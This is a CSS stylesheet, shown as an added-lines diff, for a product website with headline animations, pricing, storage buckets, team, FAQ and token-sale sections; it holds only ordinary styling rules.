+ + + +/* -------------------------------- + +Animated Headlines + +-------------------------------- */ + +.cd-title { + position: relative; + height: 160px; + line-height: 230px; + text-align: center; +} + +.cd-words-wrapper { + display: inline-block; + position: relative; + text-align: left; + padding-right: 5px; + padding-left: 5px; +} +.cd-words-wrapper b { + display: inline-block; + position: absolute; + white-space: nowrap; + left: 0; + top: 0; +} +.cd-words-wrapper b.is-visible { + position: relative; +} +.no-js .cd-words-wrapper b { + opacity: 0; +} +.no-js .cd-words-wrapper b.is-visible { + opacity: 1; +} + + +.cd-headline.type .cd-words-wrapper { + vertical-align: top; + overflow: hidden; +} +.cd-headline.type .cd-words-wrapper::after { + /* vertical bar */ + content: ''; + position: absolute; + right: 0px; + top: 50%; + bottom: auto; + -webkit-transform: translateY(-50%); + -moz-transform: translateY(-50%); + -ms-transform: translateY(-50%); + -o-transform: translateY(-50%); + transform: translateY(-50%); + height: 90%; + width: 3px; + display: inline-block; + margin-left: 15px; + background-color: #fff; +} +.cd-headline.type .cd-words-wrapper.waiting::after { + -webkit-animation: cd-pulse 1s infinite; + -moz-animation: cd-pulse 1s infinite; + animation: cd-pulse 1s infinite; +} +.cd-headline.type .cd-words-wrapper.selected { + background-color: #000; + background-color: rgba(0, 0, 0, 0.9) +} +.cd-headline.type .cd-words-wrapper.selected::after { + visibility: hidden; +} +.cd-headline.type .cd-words-wrapper.selected b { + color: #91D127; +} +.cd-headline.type b { + visibility: hidden; + font-weight: 800; +} +.cd-headline.type b.is-visible { + visibility: visible; +} +.cd-headline.type i { + position: absolute; + visibility: hidden; + font-style: normal; +} +.cd-headline.type i.in { + position: relative; + visibility: visible; +} + +@-webkit-keyframes cd-pulse { + 0% { + -webkit-transform: translateY(-50%) scale(1); + opacity: 1; + } + 40% { + -webkit-transform: translateY(-50%) scale(0.9); + opacity: 0; + } + 100% { + -webkit-transform: translateY(-50%) scale(0); + opacity: 0; + } +} +@-moz-keyframes cd-pulse { + 0% { + -moz-transform: translateY(-50%) scale(1); + opacity: 1; + } + 40% { + -moz-transform: translateY(-50%) scale(0.9); + opacity: 0; + } + 100% { + -moz-transform: translateY(-50%) scale(0); + opacity: 0; + } +} +@keyframes cd-pulse { + 0% { + -webkit-transform: translateY(-50%) scale(1); + -moz-transform: translateY(-50%) scale(1); + -ms-transform: translateY(-50%) scale(1); + -o-transform: translateY(-50%) scale(1); + transform: translateY(-50%) scale(1); + opacity: 1; + } + 40% { + -webkit-transform: translateY(-50%) scale(0.9); + -moz-transform: translateY(-50%) scale(0.9); + -ms-transform: translateY(-50%) scale(0.9); + -o-transform: translateY(-50%) scale(0.9); + transform: translateY(-50%) scale(0.9); + opacity: 0; + } + 100% { + -webkit-transform: translateY(-50%) scale(0); + -moz-transform: translateY(-50%) scale(0); + -ms-transform: translateY(-50%) scale(0); + -o-transform: translateY(-50%) scale(0); + transform: translateY(-50%) scale(0); + opacity: 0; + } +} + +/* -------------------------------- + +Homepage + +-------------------------------- */ + +canvas { + display: block; + vertical-align: bottom; +} +#particles-js { + position: absolute; + width: 100%; + height: 600px; + height: 100vh; + top: 0; + background-image: url(""); + background-repeat: no-repeat; + background-size: cover; + background-position: 50% 50%; +} + +.header { + min-height: 600px; + background: #020307; + background: -moz-linear-gradient(top, #020307 0%, #144fbc 100%); + background: -webkit-gradient(left top, left bottom, color-stop(0%, #020307), color-stop(100%, #144fbc)); + background: -webkit-linear-gradient(top, #020307 0%, #144fbc 100%); + background: -o-linear-gradient(top, #020307 0%, #144fbc 100%); + background: -ms-linear-gradient(top, #020307 0%, #144fbc 100%); + background: linear-gradient(to bottom, #020307 0%, #144fbc 100%); + filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#020307', endColorstr='#144fbc', GradientType=0 ); + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -o-user-select: none; + user-select: none; + position: relative; + height: 100vh; + overflow: hidden; +} + +.page .menu { + padding: 0; +} +.page .menu a { + color: #2683ff; +} +.page .title { + font-size: 42px; + margin-bottom: 0.5em; +} +.page .lead { + color: #333; + margin-bottom: 1em; +} +.header-bg { + position: absolute; + top: 0; + left: 0; + right: 0; + bottom: 0; + background-size: cover; + -webkit-transition: transform 0.1s ease-in-out; + -moz-transition: transform 0.1s ease-in-out; + -ms-transition: transform 0.1s ease-in-out; + transition: transform 0.1s ease-in-out; +} +.header-content { + position: absolute; + top: 0; + left: 0; + right: 0; + bottom: 0; + width: 100%; + height: 100%; + display: table; +} +.headlines { + display: block; + max-width: 800px; + margin: 0 auto; + position: relative; + top: 190px; + top: 22vh; + z-index: 2; + padding: 1em; +} +.headlines h1 { + font-size:49px; + color: #fff; + line-height: 68px; + margin-bottom: 18px; +} +.headlines p { + padding-bottom: 24px; + max-width: 680px; + line-height: 1.8em; + font-size: 18px; + margin: 0 auto; + color: #fff; +} +.notice { + color: #fff; + opacity: 0.7; +} +.home .btn { + position: relative; + z-index: 2; + max-width: 360px; +} +.open-source .btn { + margin: 1.4em auto 0; +} +.home input { + max-width: 360px; +} +.home .email { + padding-bottom: 14px; +} + +.white-tooltip + .tooltip > .tooltip-inner { + background-color: #fff; + color:#333; +} +.tooltip-inner { + padding: 10px; + max-width: 154px; +} + +.terminal{ + background: #020202; + background: rgba(0, 0, 0, 0.9); + height: 370px; + width: 100%; + margin: 0 auto; + padding: 20px 24px; + border-radius: 9px; + box-shadow: 0 10px 40px #000000; + position: absolute; + top: 420px; +} +.terminal p { + color: #91D127; + font-weight: bold; + font-family: monospace; + font-size: 13px; +} +.terminal-text { + display: none; +} + + +/* -------------------------------- + +Value Propositions + +-------------------------------- */ + +.value { + padding: 4em 0 2em; + z-index: 3; + position: relative; +} +.value h4 { + margin-top: 1.2em; +} +.value p { + padding-bottom: 0.4em; +} +.value img { + height: 62px; +} +.value-icon { + background: #fff; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); + border: 1px solid #eee; + padding: 2.7em 2em; + margin: 2em auto; + width: 150px; + height: 150px; + border-radius: 75px; +} +.icon-opensource { + height: 80px; + margin-top: -12px; +} + + +/* -------------------------------- + +Developers + +-------------------------------- */ + +.terminal-wrapper { + width: 100%; + max-width: 642px; + margin: 0 auto; + background: #fff; + border-radius: 9px; + margin-top: 2.1em; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); + border: 1px solid #eee; +} +.terminal-wrapper-2 { + width: 100%; + background: #fff; + border-radius: 9px; + margin-top: 2.1em; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); + border: 1px solid #eee; +} +.terminal-content { + text-align: left; + padding: 2em; +} +.terminal-content code { + font-size: 16px; + font-weight: bold; + font-family: monospace; + background: none; + color: #333; +} +.noselect { + -webkit-touch-callout: none; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + cursor: default; +} +.terminal-content .noselect { + color: #333; +} +.contributor-profile { + width: 70px; + height: 70px; + border-radius: 35px; + margin: 0.8em 0.4em; + display: inline-block; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); +} +.github-card { + margin: 2em auto; +} +.code-example { + padding-top: 14px; + padding-bottom: 9px; +} +.editor { + margin: 20px 0; + background: #fff; + border-radius: 9px; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); + border: 1px solid #eee; +} +pre { + border: 0; + background: #fff !important; +} +.token.selector, .token.attr-name, .token.string, .token.char, .token.builtin, .token.inserted { + color: #88C425; + font-weight: bold; +} +.token.atrule, .token.attr-value, .token.keyword { + color: #2683ff; + font-weight: bold; +} +.token.function { + color: #FF7F00; + font-weight: bold; +} +.line-numbers .line-numbers-rows { + border-right: 1px solid #eee; +} +.line-numbers-rows > span:before { + color: #ddd; +} + +.nav-stacked li.active a { + font-weight: 800; + color: #2683ff; + background: #fff; + border-left-color: #2683ff; + border-radius: 2px; +} +.nav-stacked li a:hover { + color: #2683ff; + border-left-color: #ddd; + background: #f2f2f2; +} +.nav-stacked li a:focus { + color: #2683ff; +} +.nav-stacked li.active a:hover { + border-left-color: #2683ff; +} + + +/* -------------------------------- + +Exchanges + +-------------------------------- */ + +.exchange-logo { + width: 180px; + height: 180px; + padding: 20px; + margin: 30px 20px 20px; + background: #fff; + border-radius: 5px; + border: 1px solid #eee; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); + -webkit-transition: all 200ms ease-in-out; + -moz-transition: all 200ms ease-in-out; + -o-transition: all 200ms ease-in-out; + transition: all 200ms ease-in-out; +} +.exchange-logo:hover { + border-color: #2683ff; +} + + +/* -------------------------------- + +Calculator + +-------------------------------- */ + +.calculator-section { + padding-top: 0; +} +.calculator.form-group { + padding: 2em 4em 2.5em; + background: #fff; + margin: 2em 0; + border-radius: 8px; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); + border: 1px solid #eee; +} +.calculator input { + display: inline-block; + border: 1px solid #E4E4E4; + border-radius: 3px; + margin: 0; + max-width: 100%; +} +.calculator-select { + background: none; + border: 0; + display: inline-block; + margin: 0; + padding: 0; + text-indent: 0; + cursor: pointer; + font-size: 28px; + font-weight: 800; + color: #555; + height: 58px; +} +.calculator-unit { + padding: 0; +} +.calculator .input-group { + margin: 9px 0; + width: 100%; +} +.calculator .lead { + line-height: 36px; + margin-bottom: 0; + padding-top: 0.5em; + font-size: 19px; +} +.calculator .btn-signup { + max-width: 100%; +} +.calculator .input-group-addon:last-child { + width: 100px; + color: #555; + background: #f9f9f9; + border: 1px solid #E4E4E4; + border-radius: 3px; + border-top-left-radius: 0; + border-bottom-left-radius: 0; + border-left: 0; + text-align: left; + font-size: 28px; +} +.calculator .input-group-addon:first-child { + background: #fff; + border: 1px solid #E4E4E4; + border-radius: 3px; + border-top-right-radius: 0; + border-bottom-right-radius: 0; + border-right: 0; + font-size: 28px; + color: #88C425; + font-weight: 800; +} +.promise { + color: #999; + font-size: 10px; + margin-top: 14px; +} +input.calculator-price { + font-weight: 800; + color: #88C425; + font-size: 28px; + background: #fff !important; + height: 60px; + box-shadow: none; + -moz-appearance:textfield; +} +input.calculator-price:focus { + border: 1px solid #ddd; + box-shadow: none; +} +.calculator-storage, .calculator-bandwidth { + font-size: 28px; + height: 60px; + padding-left: 20px; + font-weight: 800; +} + + +/* -------------------------------- + +Pricing + +-------------------------------- */ + +.pricing.section { + padding-bottom: 3em; +} +.plans { + margin: 1em auto; +} +.plan { + background: #fff; + margin: 2em 0; + border: 1px solid #eee; + border-radius: 5px; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); +} +.plan-icon { + margin-top: 2em; + margin-bottom: 0.2em; + height: 62px; +} +.plan-title { + line-height: 4em; + text-transform: uppercase; + margin-bottom: 0; + border-bottom: 1px solid #eee; + font-weight: 800; + color: #2683ff; +} +.plan-pricing { + line-height: 2em; + font-size: 42px; + margin-top: 16px; + padding-bottom: 42px; + font-weight: 800; + color: #2683ff; +} +.plan-pricing { + margin-top: 0; +} +.plan-pricing span { + display: block; + font-size: 15px; + line-height: 0; + background: #fff; + text-transform: uppercase; +} + +.plan h4 { + line-height: 1.5em; + padding-top: 2px; + color: #333; +} +.plan-currency { + font-size: 36px; + vertical-align: top; +} +.plan-feature-number, .plan-select-storage, .plan-select-transfer { + margin-bottom: 1.5em; +} + +.compare { + border: 0; +} +.compare-table { + margin: 2em auto; +} +.compare-logo { + width: auto; + height: 64px; + margin-top: 1.4em; +} +.compare-product { + height: 7em; + padding-left: 1em; + padding-right: 1em; + border-bottom: 1px dashed #eee; +} +.compare-pricing { + padding-bottom: 0; + margin-bottom: 0; + margin-top: 22px; + line-height: 2em; + font-size: 34px; + font-weight: 800; + color: #999; +} +.compare-pricing span { + font-size: 18px; + margin-left: 10px; +} + +#getStarted { + margin-bottom: 1em; +} +.get-started-form { + display: none; +} +.get-started-form input { + display: inline-block; + margin: 0; +} +.get-started-form .btn { + margin: 0; + margin-left: 10px; + width: auto; +} +.get-started-form .email { + margin-bottom: 1em; + padding-bottom: 14px; +} + + +/* -------------------------------- + +Upload Section + +-------------------------------- */ + +.upload { + margin: 2.5em auto; + padding: 0 1em; +} +.upload-icons { + display: inline-block; + width: 52px; + margin: 0.75em; +} +.upload-text { + display: inline-block; +} +.upload-gui { + width: 100%; + max-width: 460px; + margin-bottom: 1em; +} +.upload-intro { + margin-bottom: 3em; +} + + +/* -------------------------------- + +Quotes + +-------------------------------- */ + +.quotes { + padding: 4em 0; +} +.quote-image { + width: 134px; + height: 134px; + border-radius: 50%; + margin: 0 auto 1.4em; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); +} + +.slick-slider { + margin-bottom: 0 !important; +} +.slick-slide { + cursor: move; + opacity: 0.5; +} +.slick-current { + opacity: 1; +} +.slick-slide:focus { + outline: 0; +} +.slick-prev:before, .slick-next:before { + color: #2683ff !important; +} +.slick-prev, .slick-next { + z-index: 99; +} +.slick-slide p { + line-height: 1.5; + font-size: 16px; +} +blockquote { + background: #fff; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); + border-radius: 5px; + border: 1px solid #eee; +} + + +/* -------------------------------- + +C2A + +-------------------------------- */ + +.c2a-wrapper { + padding: 5em 0 6em; +} +.c2a h1 { + font-size: 42px; + margin-bottom: 0.5em; +} +.c2a p { + margin-bottom: 1.8em; + font-size: 18px; +} + + +/* -------------------------------- + +Video + +-------------------------------- */ + + +/* -------------------------------- + +Footer + +-------------------------------- */ + +footer { + padding-top: 3.5em; + background: #0e2338; + background-size: cover; + text-align: left; +} +.footer-logo:hover, .footer-logo:focus { + text-decoration: none; +} +.footer-logo { + display: block; + margin-top: 1px; +} +.footer-logo img { + width: 90px; + display: block; +} +footer a { + padding-bottom: 2px; + line-height: 34px; + font-size: 14px; + color: #fff; +} +footer a:hover { + color: #fff; +} +footer p { + font-size: 14px; + line-height: 28px; + margin-bottom: 4px; + color: #fff; +} +footer h5 { + padding-bottom: 0.5em; + margin-top: 1em; + color: #fff; + text-transform: uppercase; +} +footer .connect { +} +footer .connect a { + padding-right: 1.2em; + border: 0; +} +footer .address { + padding: 2em 0 2em; +} +footer .address address { + margin: 0; + color: #525d69; + color: rgba(255,255,255,0.4); + font-size: 14px; +} +footer .list-unstyled { + padding-top: 0.5em; + padding-bottom: 0.5em; +} +.social-link { + height: 22px; + width: 22px; + margin-right: 0.6em; + opacity: 1; + background: #fff; + border-radius: 3px; + padding: 4px; +} +.btn-footer { + font-weight: 800; + text-transform: uppercase; + background: #2683FF; + color: #FFF; + font-size: 16px; + padding: 12px 16px; + border: 0; + z-index: 2; + outline: 0; + -webkit-backface-visibility: hidden; + -moz-osx-font-smoothing: grayscale; + -webkit-transition: all 0.15s ease-in-out; + -moz-transition: all 0.15s ease-in-out; + -ms-transition: all 0.15s ease-in-out; + transition: all 0.15s ease-in-out; +} +.row.is-flex { + display: flex; + flex-wrap: wrap; +} +.row.is-flex > [class*='col-'] { + display: flex; + flex-direction: column; +} + +/* +* And with max cross-browser enabled. +* Nobody should ever write this by hand. +* Use a preprocesser with autoprefixing. +*/ +.row.is-flex { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; +} + +.row.is-flex > [class*='col-'] { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} + +/* -------------------------------- + +Buckets + +-------------------------------- */ + +.content { + border: 1px solid #eee; + background: #fff; + border-radius: 5px; + padding: 2em; + margin-bottom: 2em; +} +label { + margin-bottom: 0.8em; +} +.table { + margin-bottom: 0; +} +.table-responsive.content { + padding: 0; +} +tr { + -webkit-transition: all 0.15s ease-in-out; + -moz-transition: all 0.15s ease-in-out; + -ms-transition: all 0.15s ease-in-out; + transition: all 0.15s ease-in-out; +} +th, td { + padding: 1.8em; +} + +.table>thead>tr>th { + border-bottom: 1px solid #eee; +} +.table>thead>tr>th, .table>tbody>tr>th, .table>tfoot>tr>th, .table>thead>tr>td, .table>tbody>tr>td, .table>tfoot>tr>td { + border-top: 1px solid #eee; +} +.bucket-plan a { + text-decoration: none; +} +.bucket-icon { + padding: 22px 0 0 26px !important; + margin: 0; + width: 70px; +} +.bucket-icon img { + width: 42px; + padding: 0; + margin: 0; +} +.clickable-row { + cursor: pointer; +} +.btn-create-bucket { + margin-bottom: 2em; +} +.bucket-pricing-icon { + height: 50px; + width: 50px; + margin: 15px; +} + +.page .btn-block { + margin: 0.5em auto; + padding: 0.9em 0 0.8em; +} + +input.parent-code { + margin: 1.2em auto; + line-height: 1.8em; +} +#code { + display: none; +} + + +/* -------------------------------- + +Modals + +-------------------------------- */ + +.modal { + top: 120px; +} +.modal-body { + padding: 1.5em 1em 1em +} +.modal-footer { + padding: 1.5em; +} + +#loginModal .modal-body { + padding: 10px 30px; +} +#loginModal .btn { + margin: 0; + margin-bottom: 2em; +} + +/* -------------------------------- + +Sign Up + +-------------------------------- */ + + +.signup .logo { + margin: 3em auto; + width: 200px; +} +.signup .btn { + margin-bottom: 1.5em; + font-size: 16px; +} +.signup .content { + padding: 2em 3em; +} +.signup input { + min-width: 100%; +} +.signup .forgot-password { + display: block; + margin-top: 8px; +} +.password .title { + margin-bottom: 0.6em; +} +.password .content p { + margin-bottom: 2.5em; +} +.checkbox label { + padding-left: 24px; +} +.checkbox input { + margin: 3px 0 0 -26px !important; +} + + +/* -------------------------------- + +API + +-------------------------------- */ + +.api { + height: calc(100% - 110px); +} + +.api .navbar { + margin-bottom: 0; +} + +.api-wrapper, .api-iframe { + width: 100%; + height: 100%; +} + +.api .section { + padding: 0; +} + + + +/* -------------------------------- + +Community + +-------------------------------- */ + +.newsletter { + padding: 24px; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); + border: 1px solid #eee; + border-radius: 10px; + background: repeating-linear-gradient(135deg, #F29B91 0px, #F09290 30px, transparent 30px, transparent 50px, #83B3DB 50px, #84ADCB 80px, transparent 80px, transparent 100px) +} +.newsletter-inner { + background: #fff; + padding: 48px 32px 42px; +} +twitterwidget { + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); + border-radius: 9px; + margin: 0 auto; + transform: inherit; +} +.EmbeddedTweet { + overflow: visible; +} +.typeform { + height: calc(100% - 108px); +} +.typeform-wrapper { + width: 100%; + height: 100%; +} +.masonry { /* Masonry container */ + -webkit-column-count: 4; + -moz-column-count:4; + column-count: 4; + -webkit-column-gap: 1em; + -moz-column-gap: 1em; + column-gap: 1em; + margin: 1.5em; + padding: 0; + -moz-column-gap: 1.5em; + -webkit-column-gap: 1.5em; + column-gap: 1.5em; + font-size: .85em; +} +.item { + display: inline-block; + background: #fff; + width: 100%; + -webkit-transition:1s ease all; + box-sizing: border-box; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; +} +.item img{max-width:100%;} + +@media only screen and (max-width: 320px) { + .masonry { + -moz-column-count: 1; + -webkit-column-count: 1; + column-count: 1; + } +} + +@media only screen and (min-width: 321px) and (max-width: 767px){ + .masonry { + -moz-column-count: 1; + -webkit-column-count: 1; + column-count: 1; + } +} +@media only screen and (min-width: 768px) and (max-width: 1200px){ + .masonry { + -moz-column-count: 2; + -webkit-column-count: 2; + column-count: 2; + } +} +@media only screen and (min-width: 1201px) { + .masonry { + -moz-column-count: 3; + -webkit-column-count: 3; + column-count: 3; + } +} +/* -------------------------------- + +TEAM + +-------------------------------- */ + + +.team p { + text-align: center; +} +.team-member { + width: 25%; + text-align: center; + padding: 30px; + margin: 20px auto; + display: block; + float: left; +} +.team-member-image { + border-radius: 50%; + margin-bottom: 20px; + width: 70%; + max-width: 180px; + height: 70%; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); +} +.team-member-name { + height: 25px; + margin-bottom: 10px; + font-weight: 800; +} +.team-member-title { + height: 40px; + font-size: 15px; + margin-bottom: 0; +} + +.get-in-touch { + margin-top: 20px; +} + +.team-member-profile-li { + margin-top: 20px; +} + +.team-member-profile { + height: 25px; + width: 25px; + margin-right: 10px; +} +/* -------------------------------- + +FAQ + +-------------------------------- */ + +.panel { + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); + border: 1px solid #eee; +} +.panel-simple { + border: 1px solid #eee; + border-radius: 4px; +} +.panel-grey { + background-color: #FBFBFB; + border-radius: 4px; +} +.panel-home { + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); + border: 1px solid #eee; + border-radius: 4px; + background-color: none; + padding: 20px; + margin: 10px; +} +.panel-title { + border-top-right-radius: 3px; + border-top-left-radius: 3px; + background: none; + line-height: 32px; + margin-top: 0; + font-weight: 300; +} +.panel-title a { + display: block; + width: 100%; + height: 100%; + padding: 12px 20px; + color: #2683ff; +} +.panel-title [data-toggle="collapse"].collapsed { + background: none; +} +.panel-title a.collapsed { + color: #333; +} +.panel-body { + padding: 20px 30px 15px; + background: #fff; + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; +} +.panel-body li { + margin-bottom: 10px; +} +.panel-body li p { + font-weight: 800; +} +.panel-default>.panel-heading { + background: #fff; + border-radius: 4px; + padding: 0; +} +.panel-default>.panel-heading+.panel-collapse>.panel-body { + border-top-color: #eee; +} +.panel-group .panel { + margin-bottom: 14px; +} +.panel-link:hover { + text-decoration: none; + border: 0; +} +.panel-card { + padding: 44px; + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); +} +.panel-card-simple { + padding: 46px; +} +.panel-card-partners { + padding: 40px; +} +.panel-link:hover .panel-card { + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); +} +.panel-link:active .panel-card { + box-shadow: 0 1px 15px rgba(3, 104, 255, 0.15); +} +.panel-link p { + color: #333; +} + + + +/* -------------------------------- + +Press + +-------------------------------- */ + +.press-page-title { + margin-bottom: 0; +} +.press-title { + line-height: 32px; + font-size: 18px; + border: 0; + font-weight: 300; + border-bottom: 1px solid; +} +.press-date { + margin-top: 8px; + font-size: 15px; + line-height: 24px; + color: #A8A8A8; +} +.press-source { + display: block; + margin-top: 8px; +} + +.presskit-logo { + border: 1px solid #ddd; + margin: 2em auto; + padding: 1.5em 2em 1em; + background: #fff; +} +.presskit-logo img { + max-width: 250px; + max-height: 250px; + margin: 2em auto; + display: block; + text-align: center; +} +.presskit-logo .link { + margin-left: 1em; +} +.presskit-logo.blue { + background: #2683ff; +} +.presskit-logo.blue .link { + color: #fff; +} +.presskit-logo.orange { + background: #FF7F00; + color: #fff; +} +.presskit-logo.green { + background: #88C425; + color: #fff; +} +.presskit-logo.darkblue { + background: #173AE8; +} +.presskit-logo.darkblue p{ + color: #fff; +} +.blue { + color: #fff; +} + + + +/* -------------------------------- + +404 + +-------------------------------- */ + +.not-found { + background: url('../images/404.jpg'); + background-position: center center; + background-repeat: no-repeat; + background-size: cover; + background-attachment: fixed; + padding: 100px 0 120px; +} +.not-found .title, +.not-found .lead { + color: #fff; + text-shadow: 0 0 10px #000; +} +.not-found .btn { + box-shadow: 0 0 10px #000; +} +.not-found .artwork { + color: #fff; + font-weight: normal; + opacity: 0.5; + display: block; + margin-top: 40px; +} +.not-found .artwork:hover { + opacity: 1; +} + + +/* -------------------------------- + +Contact + +-------------------------------- */ + +.contact textarea { + max-width: 100%; + margin-top: 0; +} +.contact .submit, .contact input { + max-width: 100%; +} + + +/* -------------------------------- + +News + +-------------------------------- */ + +.news { + background: #000; + border-bottom: 1px solid rgba(255, 255, 255, 0.1); +} +.news-content { + padding-top: 1em; + padding-bottom: 0.5em; +} +.news p { + color: #fff; +} + + +/* -------------------------------- + +Token Sale + +-------------------------------- */ + +.tokensale { + overflow-x: hidden; +} + +.tokensale footer { + margin-top: 3em; +} + +.tokensale-headline { + font-size: 44px; +} + +.tokensale .section { + padding-top: 2em; + padding-bottom: 2em; +} + +.tokensale hr { + margin: 0 auto; + margin-bottom: 2em; +} + +.tokensale .token-symbol { + background: #fff; + border-radius: 80px; + margin: 0 auto 2em; + width: 160px; + height: 160px; + border: 10px solid rgba(255, 255, 255, 0.2); + background-clip: content-box; + box-shadow: 0 0 0 10px rgba(255, 255, 255, 0.1); +} +.token-symbol img { + position: relative; + top: 20px; +} +.tokensale .value-icon, .tokensale , .tokensale blockquote, .tokensale .quote-image { + box-shadow: 0 0 15px rgba(0,0,0,.25); +} + +.tokensale .ethaddress, .tokensale .copy { + width: 100%; + margin: 1em auto; + margin-bottom: 0; + padding: 1.4em; + border: 1px solid #eee; + text-align: center; + background: #f9f9f9; +} +.tokensale .copy { + border-top: none; + margin: 0 auto; + padding-top: 10px; + padding-bottom: 20px; +} +.tokensale .copy:hover { + cursor: pointer; +} + +.tokensale .talking-points { + display: flex; + flex-wrap: wrap; + align-item: center; + justify-content: center; +} +.tokensale .talking-point { + display: flex; + align-items: center; + justify-content: center; + border-radius: 50%; + border: 1.5px solid #2683FF; + background-color: #fff; + height: 150px; + width: 150px; + margin: 20px 1em; + text-align: center; +} +.tokensale .talking-point h4 { + color: #2683FF; +} + +.tokensale .why-token-sale .panel.panel-card { + padding: 1em; +} +.tokensale .why-token-sale .panel a { + color: #2683FF; +} +.tokensale .why-token-sale .why-use-callout { + width: 100%; + font-size: 20px; +} + +.tokensale-partner { + padding: 1.5em; + background: #fff; + border-radius: 50%; + max-width: 145px; + box-shadow: 0 0 15px rgba(0,0,0,.25); + margin: 1em auto; +} +.tokensale .email { + display: inline-block; + height: 54px; +} +.tokensale .subscribe { + display: inline-block; + margin: 0; + height: 54px; + top: -2px; + border: 0; + position: relative; +} +.tokensale .newsletter { + background: repeating-linear-gradient(135deg, #F29B91 0px, #F09290 30px, transparent 30px, transparent 50px, #f9f9f9 50px, #f9f9f9 80px, rgba(0, 0, 0, 0) 80px, transparent 100px) +} +.tokensale .newsletter h1 { + color: #2683ff; + margin-bottom: 0.4em; +} +.tokensale .newsletter p { + color: #333; + margin-bottom: 0.2em; +} +.tokensale .promise { + margin-top: 1em; + margin-bottom: 2em; +} + +.tokensale .team, .tokensale .community { + color: #fff; +} +.tokensale .expand-team i, .tokensale .expand-community i { + margin: 0 auto; + font-size: 2em; +} +.tokensale .expand-team:hover, .tokensale .expand-community:hover { + cursor: pointer; +} +.tokensale .expanded-team, .tokensale .expanded-community { + display: none; +} + +.tokensale .team-member-image { + margin-bottom: 10px; + width: 60%; + height: 60%; + max-width: 180px; +} +.tokensale .team .founder-member-profile { + margin-top: 20px; + margin-right: 0; + height: 25px; + width: 25px; +} +.tokensale .team-member-name { + margin-bottom: 5px; +} +.tokensale .team-member { + margin: 10px auto; +} +.tokensale .team-member .team-member-profile { + margin: 0 auto; +} +.tokensale #social h4 { + color: #2683ff; + font-size: 14px; + text-transform: uppercase; +} +.tokensale #social .panel { + border-radius: 50%; + box-shadow: 0 0 15px rgba(0,0,0,.25); + width: 120px; + height: 120px; + margin: 1em auto; + padding: 1.4em 0; +} + +.tokensale #social-small { + position: fixed; + left: 0; + right: 0; + bottom: 0; + z-index: 1000; + display: flex; +} + +/* Portrait and Landscape */ +@media only screen + and (max-device-width: 768px) + and (-webkit-min-device-pixel-ratio: 1) { + .tokensale #social-small { + display: none; + } +} +.tokensale #social-small .link-icon { + margin: 10px 2.5px; + display: flex; + justify-content: center; + align-items: center; + border-radius: 50%; + border: 1.5px solid #2683FF; + height: 40px; + width: 40px; + background-color: #fff; +} +.tokensale #social-small .link-icon:first-child { + margin-left: 10px; +} +.tokensale #social-small .link-icon img { + height: 25px; + width: 25px; +} + +.tokensale-banner { + background: #2683ff; + background-image: url(../images/banner-bg.jpg); + background-size: cover; + background-repeat: no-repeat; + background-position: center center; +} +.tokensale-banner p { + margin: 16px auto; + color: #fff; + text-transform: uppercase; + border-bottom: 1px solid #fff; + width: 275px; +} + +.tokensale .why-token-point { + display: flex; + flex-direction: column; + align-items: center; + text-align: center; +} + +.tokensale .why-use-points { + display: flex; + align-items: center; + justify-content: center; + flex-direction: row; + flex-wrap: wrap; +} + +.tokensale .why-use .why-token-point { + display: flex; + flex-direction: column; + align-items: center; + color: #444; + text-align: center; + padding-top: 30px; + padding-bottom: 30px; +} +.tokensale .why-token-icon { + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 30px; + margin-top: 20px; +} +.tokensale .why-token-icon img { + height: 85px; + width: 85px; +} +.tokensale .why-use-callout { + border-top: 2px solid #2683FF; + border-bottom: 2px solid #2683FF; + width: 70%; + margin: 0 auto; + padding-top: 15px; + padding-bottom: 15px; +} + +.tokensale .highlight-icon { + margin-bottom: 30px; + margin-top: 20px; +} +.tokensale .highlight-icon > .glyphicon { + position: relative; + top: 50%; + transform: translateY(-50%); + font-size: 75px; + color: #2683FF; +} + +.secondForm { + padding-left: 20px; + padding-right: 20px; +} + +.contactEmail, .contactComments { + margin: 0; + min-width: 100%; +} + +#confirmation-modal p, #confirmation-modal label { + color: #444; +} + +#confirmation-modal .toggleContactForm { + color: #2683FF; + cursor: pointer; +} + +/* -------------------------------- + Token sale Accordion faqs +-------------------------------- */ + +.tokensale .faqs, .presale .faqs, .tokensale .faqs a { + color: #FFF; +} + +.tokensale .faqs .panel-body h1, +.tokensale .faqs .panel-body h2, +.tokensale .faqs .panel-body h3, +.tokensale .faqs .panel-body h4, +.tokensale .faqs .panel-body h5, +.tokensale .faqs .panel-body h6, +.tokensale .faqs .panel-body p, +.tokensale .faqs .panel-body a { + color: #000; +} + +.tokensale .faqs .panel { + border-color: #FFF; +} + +.tokensale .faqs .panel-heading { + background-color: #2683FF; +} + +.tokensale .faqs .panel-body { + color: #000; + background-color: #FFF; +} + +.tokensale .faqs .panel-body .link { + color: #000; +} +.tokensale .faqs .panel-body .link:hover { + color: #2683FF; +} + +.tokensale .faqs .panel-body 